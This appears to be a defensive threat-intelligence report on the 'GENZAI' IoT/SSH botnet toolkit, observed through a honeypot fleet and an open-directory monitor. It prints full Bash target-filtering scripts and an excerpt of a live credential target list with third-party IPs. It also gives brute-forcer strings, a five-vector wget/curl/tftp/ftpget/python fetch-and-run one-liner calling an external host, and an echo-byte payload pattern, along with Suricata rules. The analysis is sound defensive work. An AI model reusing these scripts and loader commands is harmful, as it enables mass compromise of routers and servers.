GENZAI Toolkit — an open-directory staging server, watched from the outside

Executive summary

Most of what we know about this operator didn't come from watching them attack us. It came from watching them build. After a two-day burst of live sessions against our fleet, the operator went quiet on our sensors — but the staging server they'd pointed us at kept evolving for five more days, and our infrastructure kept quietly checking back on it. We watched a bare loader grow into a full scan-brute-load toolkit, then watched it get cleaned up within hours of finishing.

Threat actor profile

No named threat actor was found for this operator specifically — their Bash filtering scripts, C brute-forcer, and staging habits don't match any public write-up or leak we could find. One component of their toolkit is a known quantity, though: the multi binary matches BotenaGo, a five-year-old public Golang IoT botnet whose source leaked to GitHub in 2021 (see Malware analysis). The operator has not been personally attributed.

Infrastructure analysis

Live session activity (2026-07-13 to 2026-07-15)

A fourth sensor recorded 4 additional interactive commands from the same source outside a bracketed login session. All command traffic after 2026-07-15 20:52 UTC in this report comes from our own infrastructure passively re-checking the previously-observed origin, not new attacker sessions.

Open-directory staging server

This item-count timeline comes directly from our open-directory monitoring's stored snapshots (body hash + parsed item count per probe), not from re-deriving file lists after the fact — each row is a distinct recorded check.

Reputation

Oracle Cloud Infrastructure — a mainstream cloud provider whose free/low-cost compute tier is a common cheap staging point for this kind of short-lived scan-and-build infrastructure, not a bulletproof host or known-malicious ASN in its own right.

Malware analysis

Ten files made up the toolkit captured on 2026-07-20. They split cleanly into three layers by how much we could actually read.

Layer 1 — filtering scripts (Bash, Polish-language comments)

Two scripts, both reading a raw mass-scan file (scan.txt) of Telnet port 23 hits and writing a filtered target list. Captured in full via our string-extraction pipeline — this is the complete file content, not an excerpt:

# filter.sh — captured in full (originally szybki_filter.sh, "fast filter")
#!/bin/bash
# szybki_filter.sh
echo "[*] Filtruje 37,553 IP..."
> telnet_real.txt
> loader_ready.txt
while read IP; do
    # Szybki test - czy port otwarty
    if ! timeout 2 nc -z $IP 23 2>/dev/null; then
        continue
    fi

    # Sprawdź banner - odrzuć honeypoty
    banner=$(timeout 2 telnet $IP 23 2>&1 | head -n 1)

    # Tylko prawdziwe marki
    if echo "$banner" | grep -qi "tp-link\|d-link\|netgear\|linksys\|mikrotik\|ubiquiti\|dd-wrt\|openwrt\|huawei\|cisco\|zyxel\|asus\|tenda\|totolink\|broadband\|router\|switch\|arm\|mips\|linux"; then
        echo "$IP" >> telnet_real.txt
        echo "[+] REAL: $IP"

        # Przygotuj dla loadera z różnymi hasłami
        echo "$IP:23 root:root" >> loader_ready.txt
        echo "$IP:23 admin:admin" >> loader_ready.txt
        echo "$IP:23 root:password" >> loader_ready.txt
        echo "$IP:23 admin:password" >> loader_ready.txt
        echo "$IP:23 root:123456" >> loader_ready.txt
        echo "$IP:23 admin:123456" >> loader_ready.txt
    fi
done < scan.txt
echo ""
echo "[+] Prawdziwe telnet: $(wc -l < telnet_real.txt)"
echo "[+] Entries dla loadera: $(wc -l < loader_ready.txt)"

# f.sh — captured in full (originally f_loose.sh, "loose filter")
#!/bin/bash
# f_loose.sh
echo "[*] Filtrowanie (luźniejsze)..."
> telnet_real.txt
while read IP; do
    banner=$(timeout 2 telnet $IP 23 2>&1 | head -n 1)

    # TYLKO ODRZUĆ OCZYWISTE HONEYPOTY
    if echo "$banner" | grep -qi "honeypot\|honeyd\|cowrie\|kippo\|dionaea"; then
        continue
    fi

    # ZACHOWAJ WSZYSTKO INNE
    if echo "$banner" | grep -qi "login\|username\|password\|#\|$"; then
        echo "$IP" >> telnet_real.txt
        echo "[+] $IP"
    fi
done < scan.txt
echo "[+] Znaleziono: $(wc -l < telnet_real.txt)"

active_telnet, the actual output file staged alongside the scripts, is a live loader_ready.txt-shaped credential list: 860 lines covering 26 distinct target IPs and 5 credential pairs (root:root, root:admin, root:password, root:123456, root:toor). We're not publishing the full list — these are live scan targets, not our own infrastructure — but a representative excerpt of the format:

90.244.227.18:23 root:root
37.84.103.167:23 root:root
209.205.174.18:23 root:password
209.205.174.18:23 root:admin
61.191.219.189:23 root:toor

Layer 2 — the brute-forcer (C, unstripped)

Two of the ten files (bruter and sshbrute) are byte-identical builds of the same source, and this is the one binary in the toolkit that wasn't stripped — full symbol table and debug strings intact:

GCC: (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
telnetbruter.c

Usage: %s <timeout> <list> <outputfile>
Example: %s 5 targets.txt results.txt
Failed to open list: %s

ssh %s@%s 'echo genzaitopkasuko'
[32m[SUCCESS][0m %s:22 %s:%s
[33m[INFO][0m Testing SSH (port 22)
[33m[INFO][0m Using %d threads

Symbols: main, brute, brute_thread, try_login_ssh, max_threads, combos, Timeout
Embedded credential list: ~130 pairs — root/admin/user/guest/demo/test plus
  oracle/postgres/mysql/tomcat/ftp service accounts

Despite the filename, this brute-forces SSH (port 22), not Telnet — it shells out to the system ssh client per candidate and checks for the literal string genzaitopkasuko in the response as its success marker, rather than parsing SSH auth results directly. Multi-threaded (pthread_create, a configurable max_threads). The credential set is broader than the IoT-router focus of the filter scripts, also covering common database and application-server default logins.

Layer 3 — the loader/scanner binaries (Go, stripped)

The five multi-megabyte binaries (loader, multi, genzai-loader, the decoy-named telnetbruter, and scanner) are Go-compiled and symbol-stripped. String extraction on all five returned Go runtime internals (garbage-collector symbols like scanAlloc/stackScan/heapScan, standard-library package names) but no application-level strings — no readable usage text, no embedded C2 host, no config. That's consistent with a stripped static Go build from source (leaked or otherwise) rather than a further deliberate obfuscation pass. All seven binaries were unknown to VirusTotal at time of capture — first-seen samples, confirming they weren't previously catalogued by that specific corpus even though the multi binary's underlying code (BotenaGo) is a known, five-year-old public family. Six of the seven carry only generic ML/heuristic hits with no named-family agreement across engines — genuinely unmatched, or simply undetected by static analysis; VT alone can't distinguish those two.

Sandbox detonation

We detonated the flagship loader binary twice — once automatically on first capture, once manually re-triggered roughly 8h49m later to confirm the result wasn't a fluke. Both runs came back identical.

We did not attempt to run any toolkit binary against the live target list captured in active_telnet — doing so would mean actively attacking third-party devices from our own sandbox infrastructure, which our sandbox's WARP egress routing and abuse-response policy exist specifically to prevent. Understanding the pipeline's shape doesn't require executing it against real targets.

Observed TTPs — MITRE ATT&CK

Activity timeline

Delivery technique

Five-vector fetcher one-liner

Standard Mirai-lineage shape — tries five different fetch mechanisms in sequence so the loader survives a target missing any single tool:

(cd /tmp || cd /var/run || cd /mnt || cd /root || cd /dev/shm; wget -q http://141.253.107.23/g.mips -O g; chmod 777 g; ./g 141.253.107.23:6666)&
(cd /tmp || cd /var/run || cd /mnt || cd /root || cd /dev/shm; curl -s -O http://141.253.107.23/g.mips; chmod 777 g.mips; ./g.mips 141.253.107.23:6666)&
(cd /tmp || cd /var/run || cd /mnt || cd /root || cd /dev/shm; tftp -g -r g.mips -l g 141.253.107.23; chmod 777 g; ./g 141.253.107.23:6666)&
(cd /tmp || cd /var/run || cd /mnt || cd /root || cd /dev/shm; ftpget -v -u anonymous -p anonymous 141.253.107.23 g.mips g; chmod 777 g; ./g 141.253.107.23:6666)&
echo 'import urllib.request; import os; os.chdir("/tmp"); urllib.request.urlretrieve("http://141.253.107.23/g.mips", "g"); os.chmod("g", 0o777); os.system("./g 141.253.107.23:6666 &");' > /tmp/.py; python3 /tmp/.py &

Echo-byte binary reconstruction

On a separate session the day before, the same source wrote a binary directly to disk using hundreds of individual echo -ne commands, each emitting a chunk of raw hex-escaped machine code — a technique that never triggers an outbound HTTP/FTP/TFTP fetch at all, since the payload arrives entirely inside the interactive shell stream. We did not reconstruct or execute the resulting file as part of this investigation; the pattern itself (representative excerpt, not full):

echo -ne '\x00\x00\x00\x00\x49\x89\x40\x40\x49\x89\x40\x48\x48\x89\x44\x24\x40...' >> /tmp/payload
echo -ne '\x00\x00\x00\x0d\x00\x00\x00\x48\x8d\x35\xdb\x39\x11\x00\x48\x89\xb4...' >> /tmp/payload
# ... repeated across several hundred lines

This is a legitimate evasion technique worth flagging to defenders independent of this specific campaign: logging that only captures network-fetch indicators (outbound wget/curl/tftp connections) will miss a payload delivered this way entirely — the only signal is the shell command stream itself.

Indicators of compromise

Network IOCs

File IOCs

The credential-list file (active_telnet, 26 target IPs) is withheld from this report — it names third-party scan targets rather than being a reusable indicator, and defenders gain nothing from the specific IPs that isn't already covered by the delivery/IOC patterns above.

Mitigations and detection

Detection signatures

# Suricata/Snort — five-vector loader fetch (any of the five tools)
alert tcp $HOME_NET any -> 141.253.107.23 any (msg:"GENZAI toolkit loader fetch"; \
  content:"g.mips"; nocase; flow:established,to_server; sid:9930001; rev:1;)

# Suricata/Snort — full toolkit staging path
alert http any any -> 141.253.107.23 8080 (msg:"GENZAI toolkit staging server access"; \
  content:"/loader"; http_uri; flow:established,to_server; sid:9930002; rev:1;)

# Suricata — SSH brute success canary in outbound command execution logging
# (host-based detection, not network — the canary appears in local shell output)
# grep -r "genzaitopkasuko" /var/log/auth.log

Collection methodology

All data in this report was collected organically by a distributed SSH/Telnet honeypot fleet deployed across multiple cloud providers and geographic regions. Fleet nodes also run an automated open-directory monitor that re-checks previously-observed file-serving origins on a periodic cadence — this is what surfaced the toolkit's build-out over five days without any further direct contact between the operator and our sensors.

The loader binary was detonated in an isolated sandbox environment with network egress routed through a residential-style VPN for realistic network conditions; no interaction with victim networks occurred beyond passive observation of traffic the sample itself generated. We did not execute any toolkit component against the live target list captured in the toolkit's own output files. VirusTotal file, IP, and domain lookups, and file submissions, were performed via the fleet's own investigation tooling.